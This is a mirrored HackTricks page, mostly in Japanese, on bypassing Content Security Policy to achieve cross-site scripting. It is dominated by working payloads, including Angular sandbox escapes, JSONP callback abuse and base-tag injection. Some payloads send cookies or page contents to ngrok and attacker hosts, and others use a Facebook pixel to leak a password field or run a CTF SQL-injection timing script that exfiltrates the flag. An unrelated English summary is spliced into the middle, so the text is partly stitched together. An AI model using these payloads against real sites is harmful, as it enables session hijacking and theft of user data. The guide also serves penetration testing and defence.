Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

55 KiB
Raw Blame History

Content Security Policy (CSP) バイパス

htARTE（HackTricks AWS Red Team Expert） を通じて、ゼロからヒーローまでAWSハッキングを学ぶ！

HackTricks をサポートする他の方法:

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために HackenProof Discord サーバーに参加しましょう！

ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく

最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新について知る

Discord に参加して、今日からトップハッカーと協力しましょう！

CSPとは

Content Security Policy（CSP）は、主に クロスサイトスクリプティング（XSS）などの攻撃から保護することを目的としたブラウザ技術として認識されています。これは、ブラウザが安全に読み込むリソースのパスとソースを定義して詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどの要素が含まれます。たとえば、ポリシーは、同じドメイン（self）からのリソースの読み込みと実行を許可し、インラインリソースや eval、setTimeout、setIntervalなどの関数を介して文字列コードの実行を許可する可能性があります。

CSPの実装は、レスポンスヘッダーを介してまたは HTMLページにメタ要素を組み込むことによって行われます。このポリシーに従うと、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • メタタグを使用して実装されます:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

ヘッダー

CSP はこれらのヘッダーを使用して強制または監視できます:

  • Content-Security-Policy: CSP を強制します; ブラウザは違反をブロックします。
  • Content-Security-Policy-Report-Only: 監視に使用され、違反をブロックせずに報告します。本番環境でのテストに最適です。

リソースの定義

CSP はアクティブおよびパッシブコンテンツの読み込み元を制限し、インライン JavaScript の実行や eval() の使用などの側面を制御します。例として次のポリシーがあります:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

ディレクティブ

  • script-src: JavaScriptの特定ソースを許可します。URL、インラインスクリプト、およびイベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトを含みます。
  • default-src: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。
  • child-src: Webワーカーや埋め込みフレームコンテンツに許可されたリソースを指定します。
  • connect-src: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用してロードできるURLを制限します。
  • frame-src: フレームのためのURLを制限します。
  • frame-ancestors: 現在のページを埋め込むことができるソースを指定します。<frame>、<iframe>、<object>、<embed>、<applet>などの要素に適用されます。
  • img-src: 画像の許可されたソースを定義します。
  • font-src: @font-faceを使用してロードされるフォントの有効なソースを指定します。
  • manifest-src: アプリケーションマニフェストファイルの許可されたソースを定義します。
  • media-src: メディアオブジェクトをロードするための許可されたソースを定義します。
  • object-src: <object>、<embed>、<applet>要素の許可されたソースを定義します。
  • base-uri: <base>要素を使用してロードするための許可されたURLを指定します。
  • form-action: フォーム送信のための有効なエンドポイントをリストします。
  • plugin-types: ページが呼び出すことができるMIMEタイプを制限します。
  • upgrade-insecure-requests: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
  • sandbox: <iframe>のsandbox属性に類似した制限を適用します。
  • report-to: ポリシーが違反された場合にレポートが送信されるグループを指定します。
  • worker-src: Worker、SharedWorker、またはServiceWorkerスクリプトの有効なソースを指定します。
  • prefetch-src: フェッチまたはプリフェッチされるリソースの有効なソースを指定します。
  • navigate-to: どのような手段であれ（a、form、window.location、window.openなど）、ドキュメントがナビゲートできるURLを制限します。

ソース

  • *: data:、blob:、filesystem:スキームを除くすべてのURLを許可します。
  • 'self': 同じドメインからの読み込みを許可します。
  • 'data': データスキームを介してリソースをロードすることを許可します（例：Base64エンコードされた画像）。
  • 'none': 任意のソースからの読み込みをブロックします。
  • 'unsafe-eval': eval()などの使用を許可しますが、セキュリティ上の理由から推奨されません。
  • 'unsafe-hashes': 特定のインラインイベントハンドラを有効にします。
  • 'unsafe-inline': インラインリソース（インラインの<script>や<style>など）の使用を許可しますが、セキュリティ上の理由から推奨されません。
  • 'nonce': 暗号的なナンス（一度だけ使用される数値）を使用して特定のインラインスクリプトをホワイトリストに登録します。
  • ページ内で使用されたナンスを取得し、悪意のあるスクリプトをロードするために再利用することが可能です（strict-dynamicが使用されている場合、任意の許可されたソースが新しいソースをロードできるため、これは必要ありません）。以下のように：
ナンスを再利用してスクリプトをロード ```html ```
  • 'sha256-<hash>': 特定のsha256ハッシュを持つスクリプトをホワイトリストに登録します。
  • 'strict-dynamic': nonceまたはハッシュによってホワイトリストに登録された場合、任意のソースからスクリプトを読み込むことを許可します。
  • 'host': example.comのような特定のホストを指定します。
  • https:: HTTPSを使用するURLに制限します。
  • blob:: Blob URL（JavaScriptによって作成されたBlob URLなど）からリソースを読み込むことを許可します。
  • filesystem:: ファイルシステムからリソースを読み込むことを許可します。
  • 'report-sample': 違反レポートに違反コードのサンプルを含めます（デバッグに便利です）。
  • 'strict-origin': 'self'と似ていますが、ソースのプロトコルセキュリティレベルがドキュメントと一致することを確認します（セキュアなオリジンのみがセキュアなオリジンからリソースを読み込むことができます）。
  • 'strict-origin-when-cross-origin': 同一オリジンのリクエストを行う際には完全なURLを送信しますが、クロスオリジンのリクエストの場合はオリジンのみを送信します。
  • 'unsafe-allow-redirects': 直ちに別のリソースにリダイレクトされるリソースの読み込みを許可します。セキュリティを弱めるため、推奨されません。

Unsafe CSP Rules

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

{% hint style="danger" %} これは機能しません。詳細についてはこちらをチェックしてください。 {% endhint %}

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

動作するペイロード:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

もし、許可されたJSコードが新しいスクリプトタグをDOMに作成するように何とかできれば、許可されたスクリプトがそれを作成しているため、新しいスクリプトタグは実行を許可されるでしょう。

ワイルドカード (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

動作するペイロード:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

object-srcとdefault-srcの不足

{% hint style="danger" %} これはもはや機能していないようです {% endhint %}

Content-Security-Policy: script-src 'self' ;

動作するペイロード:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

ファイルアップロード + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

もしJSファイルをアップロードできるなら、このCSPをバイパスできます:

動作するペイロード:

"/>'><script src="/uploads/picture.png.js"></script>

しかし、サーバーがアップロードされたファイルを検証し、特定の種類のファイルのみをアップロードできるように制限している可能性が非常に高いです。

さらに、サーバーが受け入れている拡張子を使用してファイル内にJSコードをアップロードできたとしても（例: script.png）、これだけでは不十分です。なぜなら、Apacheサーバーのような一部のサーバーはファイルのMIMEタイプを拡張子に基づいて選択し、Chromeのようなブラウザは画像であるべきものに含まれるJavascriptコードの実行を拒否するからです。"幸いにも"、間違いがあります。例えば、CTFから学んだところによると、Apacheは.wave 拡張子を認識しないため、audio/*のようなMIMEタイプで提供されません。

ここから、XSSとファイルアップロードを見つけ、誤解された拡張子を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしてみることができます。または、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することもできます（ここにいくつかのポリグロットの例があります）。

Form-action

JSをインジェクトすることができない場合は、例えば資格情報をインジェクトするフォームアクションを試すことができます（そしておそらくパスワードマネージャーが自動的にパスワードを入力することを期待しています）。このレポートに例があります。また、default-srcはフォームアクションをカバーしていないことに注意してください。

サードパーティエンドポイント + ('unsafe-eval')

{% hint style="warning" %} 以下のペイロードの一部には、unsafe-evalが必要ないものもあります。 {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

脆弱性のあるAngularのバージョンを読み込んで任意のJavaScriptを実行します：

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angular + windowオブジェクトを返す関数を持つライブラリを使用したペイロード（この投稿をチェック）:

{% hint style="info" %} この投稿では、cdn.cloudflare.com（または他の許可されたJSライブラリリポジトリ）からすべてのライブラリをロードし、各ライブラリから追加されたすべての関数を実行し、どのライブラリのどの関数がwindowオブジェクトを返すかを確認できることを示しています。 {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS from a class name:

クラス名からのAngular XSS:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Google reCAPTCHA JSコードの乱用

このCTF解説によると、CSP内でhttps://www.google.com/recaptcha/を乱用して、CSPをバイパスして任意のJSコードを実行することができます。

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

以下は、この解説からの追加のペイロードです：

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

www.google.comをオープンリダイレクトに悪用する

以下のURLはexample.comにリダイレクトします（こちらから）:

https://www.google.com/amp/s/example.com/

サードパーティのエンドポイント + JSONP

*.google.com/script.google.com の悪用

Google Apps Script を悪用して、script.google.com 内のページで情報を受信することが可能です。これは このレポート で行われています。

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

シナリオでは、script-src が self と特定のホワイトリストに登録されたドメインに設定されている場合、JSONP を使用してバイパスすることができます。 JSONP エンドポイントはセキュアでないコールバックメソッドを許可するため、攻撃者はXSSを実行できます。有効なペイロード：

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee には、さまざまなウェブサイトのCSP バイパス用のJSONP エンドポイントが含まれています。

信頼されたエンドポイントにオープンリダイレクトが含まれている場合、同じ脆弱性が発生します。初期エンドポイントが信頼されている場合、リダイレクトも信頼されます。

第三者の悪用

次の投稿で説明されているように、CSP で許可されている可能性がある多くの第三者ドメインは、データの外部流出やJavaScript コードの実行など、悪用される可能性があります。これらの第三者には次のようなものがあります：

エンティティ 許可されたドメイン 機能
Facebook www.facebook.com, *.facebook.com Exfil
Hotjar *.hotjar.com, ask.hotjar.io Exfil
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Exec
Amazon CloudFront *.cloudfront.net Exfil, Exec
Amazon AWS *.amazonaws.com Exfil, Exec
Azure Websites *.azurewebsites.net, *.azurestaticapps.net Exfil, Exec
Salesforce Heroku *.herokuapp.com Exfil, Exec
Google Firebase *.firebaseapp.com Exfil, Exec

ターゲットのCSP で許可されているドメインのいずれかを見つけた場合、そのサードパーティサービスに登録することで、CSP をバイパスしてデータを外部サービスに流出させたり、コードを実行したりする可能性があります。

たとえば、次のようなCSP を見つけた場合：

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

Content Security Policy (CSP) Bypass

Introduction

In this article, we will discuss various techniques to bypass Content Security Policy (CSP) restrictions on a web application.

What is CSP?

Content Security Policy (CSP) is an added layer of security that helps detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP works by defining the sources from which certain types of content can be loaded on a web page.

Bypass Techniques

  1. Unsafe Inline Scripts

    By allowing unsafe-inline in the CSP policy, inline scripts can be executed despite the CSP restrictions.

  2. Unsafe Eval

    Enabling unsafe-eval in the CSP policy allows the execution of dynamic code using functions like eval().

  3. Data Protocol

    Using the data: protocol, it is possible to execute scripts by embedding them directly into the HTML.

  4. Trusted Types Bypass

    Exploiting vulnerabilities in Trusted Types implementation to bypass CSP restrictions.

  5. Meta Tag Bypass

    Injecting a meta tag <meta http-equiv="Content-Security-Policy" content="..."> to override the CSP policy.

Conclusion

Content Security Policy (CSP) is an important security mechanism to protect web applications from various types of attacks. However, it is crucial to be aware of the potential bypass techniques in order to ensure the effectiveness of CSP implementation.

Content-Security-Policy​: connect-src www.facebook.com;​
  1. こちら でFacebook Developerアカウントを作成します。
  2. 新しい「Facebook Login」アプリを作成し、「Website」を選択します。
  3. 「Settings -> Basic」に移動し、「App ID」を取得します。
  4. データを外部流出させたいターゲットサイトでは、Facebook SDKガジェット「fbq」を直接使用して「customEvent」とデータペイロードを介してデータを外部流出させることができます。
  5. アプリの「Event Manager」に移動し、作成したアプリケーションを選択します（イベントマネージャーは、次のようなURLで見つけることができます: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events）
  6. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。

その後、被害者側で、以下のコードを実行してFacebookトラッキングピクセルを初期化し、攻撃者のFacebook Developerアカウントのapp-idを指すようにし、次のようにカスタムイベントを発行します:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

以前の表で指定された他の7つのサードパーティドメインに関しては、それらを悪用する方法が他にもたくさんあります。他のサードパーティの悪用についての追加の説明については、以前のブログ投稿を参照してください。

RPO（Relative Path Overwrite）を介したバイパス

パス制限をバイパスするための前述のリダイレクトに加えて、一部のサーバーで使用できる別のテクニックであるRelative Path Overwrite（RPO）があります。

たとえば、CSPがパスhttps://example.com/scripts/react/を許可している場合、次のようにバイパスできます：

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

ブラウザは最終的に https://example.com/scripts/angular/angular.js をロードします。

これは、ブラウザにとって、https://example.com/scripts/react/ の下にある ..%2fangular%2fangular.js という名前のファイルをロードしているため、CSPに準拠しています。

したがって、それらはそれをデコードし、効果的に https://example.com/scripts/react/../angular/angular.js をリクエストし、これは https://example.com/scripts/angular/angular.js と同等です。

ブラウザとサーバー間のURL解釈の不一致を悪用することで、パスのルールをバイパスすることができます。

解決策は、サーバーサイドで %2f を / として扱わないようにし、ブラウザとサーバー間の一貫した解釈を確保してこの問題を回避することです。

オンライン例: https://jsbin.com/werevijewa/edit?html,output

Iframes JS実行

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

base-uri が不足している場合

base-uri ディレクティブが不足している場合、dangling markup injection を実行するために悪用できます。

さらに、ページがNonceを使用して相対パスでスクリプトをロードしている場合（例：<script src="/js/app.js">）、base tag を悪用して、あなた自身のサーバーからスクリプトをロードしてXSSを達成することができます。
脆弱なページがhttpSで読み込まれる場合は、ベースにhttpSのURLを使用してください。

<base href="https://www.attacker.com/">

AngularJS イベント

特定のポリシーであるコンテンツセキュリティポリシー（CSP）はJavaScriptイベントを制限する可能性があります。それにもかかわらず、AngularJSは代替としてカスタムイベントを導入しています。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト $event を提供します。この $event オブジェクトはCSP を回避するために悪用される可能性があります。特筆すべきは、Chrome では $event/event オブジェクトに path 属性が存在し、イベントの実行チェーンに関連するオブジェクト配列を保持しており、その最後には常に window オブジェクトが配置されています。この構造はサンドボックス脱出戦術にとって重要です。

この配列を orderBy フィルタに向けることで、その配列を反復処理し、末端要素（window オブジェクト）を利用して alert() のようなグローバル関数をトリガーすることが可能です。以下に示すコードスニペットは、このプロセスを説明しています：

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

このスニペットは、ng-focusディレクティブの使用法を強調し、$event.path|orderByを使用してpath配列を操作し、windowオブジェクトを活用してalert()関数を実行し、それによりdocument.cookieを明らかにします。

他のAngularバイパスを見つける https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJSとホワイトリストされたドメイン

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

CSP Bypass through Callback Functions and Vulnerable Classes

Angular JSアプリケーションでスクリプトの読み込みのためにドメインをホワイトリストに登録するCSPポリシーは、コールバック関数の呼び出しと特定の脆弱なクラスを介してバイパスすることができます。このテクニックに関する詳細情報は、このgitリポジトリで利用可能な詳細ガイドで確認できます。

動作するペイロード:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

他のJSONP任意実行エンドポイントはこちらで見つけることができます（一部は削除されたり修正されたりしました）

リダイレクトを介したバイパス

CSPがサーバーサイドのリダイレクトに遭遇した場合、どうなるでしょうか？リダイレクトが許可されていない異なるオリジンにつながる場合、それは失敗します。

ただし、CSP仕様4.2.2.3. パスとリダイレクトの説明によると、リダイレクトが異なるパスにつながる場合、元の制限をバイパスできます。

以下に例を示します：

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

CSPがhttps://www.google.com/a/b/c/dに設定されている場合、パスが考慮されるため、/testと/a/testのスクリプトはどちらもCSPによってブロックされます。

ただし、最終的なhttp://localhost:5555/301はサーバーサイドでhttps://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//にリダイレクトされます。これはリダイレクトなので、パスは考慮されず、スクリプトがロードされるため、パス制限をバイパスできます。

このリダイレクトにより、パスが完全に指定されていてもバイパスされます。

したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことを確認することです。

ダングリングマークアップでCSPをバイパス

こちらで詳細を読む.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' は、コード内で任意のスクリプトを実行できることを意味し（XSS がコードを実行できる）、img-src * は、任意のリソースからの画像をウェブページで使用できることを意味します。

この CSP は、画像を介してデータを外部に送信することで回避できます（この場合、XSS が CSRF を悪用し、ボットによってアクセス可能なページに SQLi が含まれ、画像を介してフラグを抽出します）。

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

この構成を悪用して、画像内に挿入されたJavaScriptコードを読み込むこともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、特別な画像を作成し、Twitterにアップロードして"unsafe-inline"を悪用して通常のXSSとしてJSコードを実行し、画像を読み込み、そこからJSを抽出して実行することができます: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Service Workersを使用する

Service Workersの**importScripts**関数はCSPに制限されません:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

ポリシーインジェクション

調査: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

あなたが送信したパラメータがポリシーの宣言の内部に貼り付けられている場合、ポリシーを何らかの方法で無効にするように変更できます。これらのバイパスのいずれかを使用して、スクリプトを'unsafe-inline'に許可することができます:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

このディレクティブは既存のscript-srcディレクティブを上書きします。
例はこちらで見つけることができます: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edgeでは、CSPにこれだけ追加できれば**;_、Edgeはポリシー全体を無効に**します。
例: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; XSS経由での攻撃 (iframe) - タイムアタック

ディレクティブ'unsafe-inline'が欠落していることに注意してください。
今回は、<iframeを使用して被害者にあなたの制御下のページを読み込ませることができます。この時、被害者に情報を取得したいページにアクセスさせます（CSRF）。ページの内容にアクセスすることはできませんが、ページの読み込みにかかる時間を制御できれば必要な情報を抽出できます。

今回は、フラグが抽出され、SQLiで正しく推測された文字ごとに応答がスリープ関数のために遅くなるため、フラグを抽出できるようになります。

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

ブックマークレットを介した攻撃

この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、悪意のあるJavaScriptコードが含まれており、ドラッグ＆ドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことができます。

詳細はこちらのオリジナルレポートをご覧ください。

CSP制限によるCSPバイパス

このCTF解説では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みを禁止するCSPが設定され、その後、プロトタイプ汚染またはDOMクロブリングを介して、異なるスクリプトを悪用して任意のスクリプトを読み込むことが可能になりました。

IframeのCSPを制限するには、**csp**属性を使用できます：

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

このCTFの解説 では、HTMLインジェクションを通じて、CSPをより制限することが可能であり、CSTIを防ぐスクリプトが無効化され、その結果、脆弱性が悪用可能になりました。
CSPはHTMLメタタグを使用してより制限的に設定でき、インラインスクリプトはその エントリを削除することで無効化でき、nonceを許可し、shaを使用して特定のインラインスクリプトを有効にできます。

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Content-Security-Policy-Report-Onlyを使用したJSデータの外部流出

サーバーがヘッダー**Content-Security-Policy-Report-Onlyをあなたが制御する値で応答するようにできれば（CRLFのためかもしれません）、それをあなたのサーバーを指すようにさせることができます。そして、外部流出したいJSコンテンツを<script>でラップ**し、CSPでunsafe-inlineが許可されていない可能性が非常に高いため、これはCSPエラーをトリガーし、スクリプトの一部（機密情報を含む）がContent-Security-Policy-Report-Onlyからサーバーに送信されます。

例として、このCTF解説を参照してください。

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

CSPとIframeを使用して情報を漏洩させる

  • CSPに許可されているURL（https://example.redirect.comと呼びましょう）を指すiframeが作成されます。
  • このURLはその後、CSPによって許可されていない秘密のURL（例：https://usersecret.example2.com）にリダイレクトします。
  • securitypolicyviolation イベントを監視することで、blockedURI プロパティをキャプチャできます。このプロパティはブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトされた秘密のドメインを漏洩させます。

興味深いのは、ChromeやFirefoxなどのブラウザが、CSPに関連してiframeを処理する際に異なる挙動を示すことであり、未定義の挙動によって機密情報が漏洩する可能性がある点です。

別のテクニックには、CSP自体を悪用して秘密のサブドメインを推測する方法があります。この方法は、バイナリサーチアルゴリズムに依存し、CSPを調整して特定のドメインを含めることで、意図的にブロックされた特定のドメインをテストします。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可するように調整して、異なるサブドメインを反復的にテストできます。以下は、この方法を容易にするためにCSPを設定する方法を示すスニペットです：

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP によってブロックまたは許可されるリクエストを監視することで、秘密のサブドメイン内の可能な文字を絞り込み、最終的に完全な URL を明らかにすることができます。

両方の方法は、CSP の実装とブラウザでの動作の微妙な点を悪用し、見かけ上安全なポリシーが機密情報を意図せずに漏洩させる方法を示しています。

ここからのトリック。

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために HackenProof Discord サーバーに参加してください！

ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースに遅れずについていく

最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握

Discord で私たちに参加し、今日からトップハッカーと協力を始めましょう！

CSP をバイパスするための安全でないテクノロジー

パラメータが多すぎるときの PHP エラー

このビデオでコメントされた最後のテクニック によると、多すぎるパラメータを送信すると（GET パラメータが 1001 個でも、POST パラメータや 20 個以上のファイルでも可能）、PHP ウェブコード内で定義された header() はエラーを引き起こすため 送信されません。

PHP レスポンスバッファの過負荷

